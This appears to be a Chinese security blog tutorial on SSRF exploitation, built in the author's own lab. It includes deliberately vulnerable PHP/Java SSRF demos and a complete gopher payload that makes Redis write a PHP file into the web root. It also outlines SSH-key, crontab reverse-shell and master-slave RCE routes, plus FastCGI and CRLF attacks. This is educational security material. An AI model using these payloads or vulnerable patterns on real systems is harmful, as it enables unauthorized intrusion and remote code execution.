上周挖了几个SSRF漏洞,标的服务器配置较为简单,利用file协议就可以做很多事情。后来顺便看了一些SSRF漏洞相关的利用方法,Redis很经典,借此做个记录进而写了这篇关于SSRF漏洞的文章。本文采用的测试环境搭建在阿里云服务器上,基于lnmp,可参照阿里云的说明文档进行lnmp的配置https://help.aliyun.com/document_detail/97251.html,此时网站根目录: /usr/share/nginx/html。SSRF还有很多其他的点,本文侧重于Redis的利用,有时间再补补其他的。
1. SSRF概述
SSRF(Server-side Request Forge, 服务端请求伪造),一般是由于服务端提供了从其他服务器获取数据但没有对地址或协议等进行过滤或限制造成的漏洞,通常利用SSRF进行内网探测等。
1.1 PHP demo
以PHP为例,在服务器上创建一个简单的SSRF demo
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
这是由curl_exec()造成的SSRF,其他可造成SSRF漏洞的PHP函数包含
fopen()、file_get_contents()、curl()、fsocksopen()等。
//file_get_contents() demo
$url = $_GET['url'];;
echo file_get_contents($url);
//fsocksopen()
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
在此demo中需要注意curl_setopt函数的一些用法,还有很多其他参数可以查询函数说明文档。
CURLOPT_URL 需要获取的URL地址,也可以在curl_init()函数中设置。
CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
CURLOPT_FOLLOWLOCATION 启用时会将服务器服务器返回的"Location: "放在header中递归的返回给服务器,使用CURLOPT_MAXREDIRS可以限定递归返回的数量。
CURLOPT_PROTOCOLS CURLPROTO_*的位域指。
如果CURLOPT_PROTOCOLS
被启用,位域值会限定libcurl在传输过程中有哪些可使用的协议。可用的协议选项为:(前面都有CURLPROTO_前缀)HTTP、HTTPS、FTP、FTPS、SCP、SFTP、TELNET、LDAP、LDAPS、DICT、FILE、TFTP、ALL。
各个协议在SSRF中的主要应用如下
http/https:主要用来探测内网服务,根据响应的状态判断内网端口及服务,可以结合如Struts2的RCE来实现攻击;
file:读取服务器上的任意文件;
dict:查看安装软件版本信息、端口,操作内网Redis服务等;
gopher:能够将所有操作转换成数据流,并将数据流一次发送出去,可以用来探测内网的所有服务的所有漏洞,可利用来攻击Redis和PHP-FPM;
ftp/ftps:FTP匿名访问、爆破;
tftp:UDP协议扩展,发送UDP报文;
imap/imaps/pop3/smtp/smtps:爆破邮件用户名密码;
telnet:SSH/Telnet匿名访问及爆破;
1.2 Java demo
URL connect = new URL(url);
URLConnection connection = connect.openConnection();
connection.connect();
response.setContentType(connection.getContentType());
String ce = connection.getContentEncoding();
if (ce != null && ce.length() > 0) {
response.setHeader("Content-Encoding", ce);
}
InputStream in = connection.getInputStream();
try {
ServletOutputStream out = response.getOutputStream();
try {
StmFunc.stmTryCopyFrom(in, out);
} finally {
if (out != null) {
out.close();
}
}
} finally {
if (in != null) {
in.close();
}
}
JAVA中能发起网络请求的类包括:
//仅支持HTTP/HTTPS协议的类
HttpClient
HttpURLConnection
OkHttp
Request(对HttpClient类进行了封装的类)
//支持sun.net.www.protocol所有协议的类
URLConnection
URL
ImageIO
HttpURLConnection类
//HttpURLConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //发起请求,触发漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
System.out.println("html:" + html.toString());
in.close();
URLConnection类
//urlConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //发起请求,触发漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
System.out.println("html:" + html.toString());
in.close();
ImageIO类
String url = request.getParameter("url");
URL u = new URL(url);
BufferedImage img = ImageIO.read(u); // 发起请求,触发漏洞
其他类
// Request漏洞示例
String url = request.getParameter("url");
return Request.Get(url).execute().returnContent().toString();//发起请求
// openStream漏洞示例
String url = request.getParameter("url");
URL u = new URL(url);
inputStream = u.openStream(); //发起请求
// OkHttpClient漏洞示例
String url = request.getParameter("url");
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
client.newCall(ok_http).execute(); //发起请求
// HttpClients漏洞示例
String url = request.getParameter("url");
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet); //发起请求
1.3 SSRF 利用demo
根据不同的协议,可以得到SSRF多种利用方式,下面以php demo为例
(1)file协议
利用file协议查看相关文件
(2)dict协议
利用dict协议探测端口,如22(SSH)、6379(Redis)
另外还可以探测其中Redis中的内容
(3)gopher协议
gopher协议支持GET&POST请求,在攻击内网ftp、redis、telnet、Memcache上有极大作用,利用gopher协议访问redis反弹shell较为经典。
http://ip/vultr.php?url=gopher://127.0.0.1:2333/_hello
2. Redis
SSRF常与Redis一起利用,Redis是一个key-value存储系统,支持五种数据类型:string(字符串)、hash(哈希)、list(列表)、set(集合)、zset(sorted set有序集合)
2.1 Redis 环境搭建
下载地址:https://github.com/tporadowski/redis/releases。
(1)Windows安装
在下载地址中找相应版本的redis,解压zip后,在该目录下开启cmd,输入如下语句
(2)CentOS安装
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzvf redis-3.2.0.tar.gz
cd redis-3.2.0
make
make完后 redis-2.8.17目录下会出现编译后的redis服务程序redis-server,还有用于测试的客户端程序redis-cli,两个程序位于安装目录 src 目录下
protected-mode改为no(保护模式默认为yes,在此模式下会拒绝redis的远程连接,所以Redis一般配合ssrf一起使用),用云服务器开启redis,想要用本地windows访问云主机还需要在bind 127.0.0.1后面加入一行bind 公网ip
2.2 RESP协议
Redis服务器与客户端通过RESP(REdis Serialization Protocal)协议通信。RESP协议在Redis1.2中引用,支持字符串、错误、整数、批量字符串、数组等数据类型的序列化协议。客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器,服务器根据命令实现回复一种RESP类型。
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。
分析:首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$4代表字符串的长度,0d0a即\r\n表示结束符;+OK表示服务端执行成功后返回的字符串
2.3 常用命令与攻击
redis的常用命令如下
redis-cli -h ip
info 查看版本信息
get X 查看键为X的值
keys * 查看所有键
set X "test" 设置X的值为test
flushall 删除所有键
config set dir /root/.ssh 设置本地存储的文件目录
config set dbfilename authorized_keys 设置本地存储文件名
借助上述命令,可以进行文件写入等操作,既然dir指定了redis的工作路径,dbfilename指定了文件名,那么我们在set这些内容的过程中就已经创建了一个存储文件。如果这个文件写入的位置是网站的可访问目录下,并且其中内容写成恶意信息,就和传入木马getshell的效果一致。
dir 指定的是redis的“工作路径”,之后生成的RDB和AOF文件都会存储在这里。
dbfilename RDB文件名,默认为“dump.rdb”
appendonly 是否开启AOF
appendfilename AOF文件名,默认为“appendonly.aof”
appendfsync AOF备份方式:always、everysec、no
除了上述在网站根目录下写入shell还有两种利用方式,
(1)如果存在/root/.ssh目录,直接root权限写/root/.ssh/authorized_keys
(2)如果不存在/root/.ssh目录,直接root写crontab定时任务
利用Gopher协议攻击
上述三种利用Redis的攻击方式都是通过Gopher协议。Gopher 协议是 HTTP 协议出现之前较为常用的协议,虽然现在用的较少,但是在SSRF中能起很大作用,拓宽了SSRF攻击面。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。
下面结合Centos靶机进行三种利用方式的测试。
(1)绝对路径写webshell
开启redis,利用socat抓包
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
开启redis-cli进行相关操作
同时socat会收到如下内容
将socat中的内容提取出来,去除时间、OK等信息行,得到如下数据文本
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$21\r
/usr/share/nginx/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$10\r
shell2.php\r
*3\r
$3\r
set\r
$8\r
webshell\r
$19\r
<?php phpinfo(); ?>\r
*1\r
$4\r
save\r
然后利用脚本将上述文本转成payload
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"\r", "%0d%0a")
line = line.replace("\n", '')
s = s + line
print s.replace("$", "%24")
生成的exp
*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2421%0d%0a/usr/share/nginx/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%2410%0d%0ashell2.php%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%248%0d%0awebshell%0d%0a%2419%0d%0a<?php phpinfo(); ?>%0d%0a*1%0d%0a%244%0d%0asave%0d%0a
然后对生成的脚本进行测试
curl -v 'gopher://127.0.0.1:6379/_生成的exp
或者在网址中进行测试
http://39.96.59.90/vultr.php?url=gopher://127.0.0.1:6379/_exp
然后打开shell2.php,即可看到phpinfo
这个过程已经有了集成工具Gopherus,地址见https://github.com/tarunkant/Gopherus
这个工具使用时需要注意一点,得到的payload要先进行url编码再发包,否则解析过程无法得到预期结果。
(2)公钥SSH登录
如果.ssh目录存在,则直接写入~/.ssh/authorized_keys
如果不存在,则可以利用crontab创建该目录,创建目录就和上文所用的写网站根目录文件方法一样,只是备份的目录和文件名修改为/root/.ssh/目录和authorized_keys文件名。
ubuntu生成ssh的key,并将其写入到Centos的Redis中
同样通过
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
的方式得到数据包的内容如下,通过python脚本进行转换,得到payload,打入redis。此处因为是直接在靶机redis中写入得所以省略了通过SSRF打redis的步骤。靶机redis成功写入内容后,ssh的认证key就已经成了ubuntu中生成的key,即ubuntu采用ssh登录Centos靶机时用本机的id_rsa即可成功登录。
删除Centos中的key后,Ubuntu用同样的方式尝试ssh登录Centos,失败
(3)crontab
首先了解一下crontab是什么。crontab是Linux中用来定期执行程序的命令,操作系统安装完成后就会默认启动此任务调度命令,该命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便自动执行该工作。新创建的cron任务不会马上执行,至少要过两分钟才可以,或者通过重启方式来马上执行。
既然是Linux中自带的,那么查找一下它的路径
用gopherus,传入攻击者的ip,还有上面查找到的cron路径,生成ReverseShell(该工具默认用的是1234端口),进行url编码,传入到含有SSRF漏洞的vultr.php中,监听一下1234端口,getshell
此方法有一定的局限性,一般用于Centos系统,Ubuntu上攻击无效。首先看一下两个系统中crontrab定时文件位置分别在哪儿:
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的cron路径是(需要root权限)/etc/crontab
ubuntu执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600,即-rw-------否则会报错,而Redis写文件的权限都是644,所以不符合条件,Centos下任务文件用644权限也能打开。而/etc/crontab
的问题在于该路径需要root权限,但是高版本的redis默认启动是redis权限,所以无法记性操作。另外redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
2.4 主从复制特性
Redis主从复制特性是从4.X版本开始出现的。主从模式是指使用一个Redis作为主机(master),其他Redis则作为从机即备份机(slave)。其中主机和从机数据相同,主机只负责写,从机只负责读,通过读写分离减少读写量较大时的性能压力,也可以理解为数据的复制是单向的,只能由主节点到从节点。
建立主从复制,有3种方式:
配置文件写入slaveof <master_ip> <master_port>
redis-server启动命令后加入 --slaveof <master_ip> <master_port>
连接到客户端之后执行:slaveof <master_ip> <master_port>
PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作
自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。这样一来,如果我们构造恶意的.so文件,在两个Redis实例设置主从模式的时候,Redis的主机可以通过FULLRESYNC同步文件到从机上,然后在从机上加载恶意so文件,即可执行命令。
利用主从复制的攻击步骤如下图所示:
第一步,伪装成redis数据库,将被攻击者的redis设为自己的从机(slave)。SLAVEOF ip port
第二步,我们设置备份文件名为so文件 config set dbfilename exp.so
第三步,设置传输方式为全量传输 +FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>
第四步,加载so文件,实现任意命令执行
主从复制的流程如下图左边所示,master与slave进行握手通信,并用脚本模仿了该过程,右面比较了全面复制(全量传输)和部分复制(增量传输)两种操作。
利用主从复制进行Redis的攻击脚本网上有很多。输入被攻击者的ip等信息,在本机执行脚本即可RCE。这些攻击的前提都是能未授权或者能通过弱口令认证访问到Redis服务器。
3. FastCGI
CGI (Common Gateway Interface,通用网关接口),是HTTP服务器与其他机器上的程序服务通信交流的一种工具,FastCGI是在其基础上发展出来的在HTTP服务器和动态服务脚本语言间通信的接口。在 Linux 下, FastCGI 接口即为 socket,这个socket 可以是文件 socket,也可以是IP socket。其主要优点是把动态语言和 HTTP 服务器分离开来。多数流行的 HTTP 服务器都支持 FastCGI,包括 Apache 、 Nginx 和 Lighttpd 等。
FastCGI结构如下所示:
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型(record的作用)
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
这部分离别歌有一篇文章写的很清楚https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,即body体。Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。
通信过程中第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record。当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。
服务器中间件将用户请求按照FastCGI的规则打包好后通过TCP传给FPM,FPM按照FastCGI的协议将TCP流解析成真正的数据。FPM也可以写为PHP-FPM,是FastCGI的进程管理器。
参考离别歌文中的例子,用户访问http://127.0.0.1/index.php?a=1&b=2
,如果web目录是/var/www/html
,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后执行SCRIPT_FILENAME的值指向的PHP文件,即/var/www/html/index.php。FPM是根据这个值来执行php文件的,如果这个文件不存在,FPM会直接返回404。在FPM某个版本之前,我们可以将SCRIPT_FILENAME的值指定为任意后缀文件,比如/etc/passwd;但后来,fpm的默认配置中增加了一个选项security.limit_extensions,可解析的选项中只包含.php .php3 .php4 .php5 .php7,这样一来再访问/etc/passwd就会返回Access denied。
PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造FastCGI协议,和FPM进行通信。
附上离别歌的攻击脚本
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
另外,上文介绍的Gopherus中也有攻击脚本
4. CRLF
CRLF是“回车(CR,Carriage Return)+ 换行(LF,Line Feed)
”(\r\n)的简称。CR 用符号'\r'表示, 十进制ASCII代码是 13, 十六进制代码为 0x0D;LF 使用'\n'符号表示,ASCII代码是 10, 十六制为 0x0A。
Dos 和 windows 采用“回车+换行,CR/LF”表示下一行;
UNIX/Linux 采用“换行符,LF”表示下一行;
苹果机(MAC OS 系统)则采用“回车符,CR”表示下一行。
在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。一般常见于(1)URL跳转(2)Cookie的设置中
这部分乌云中有篇文章写得很简单也很清楚
https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html
CRLF用于SSRF相结合的方式,参考如上的Redis攻击。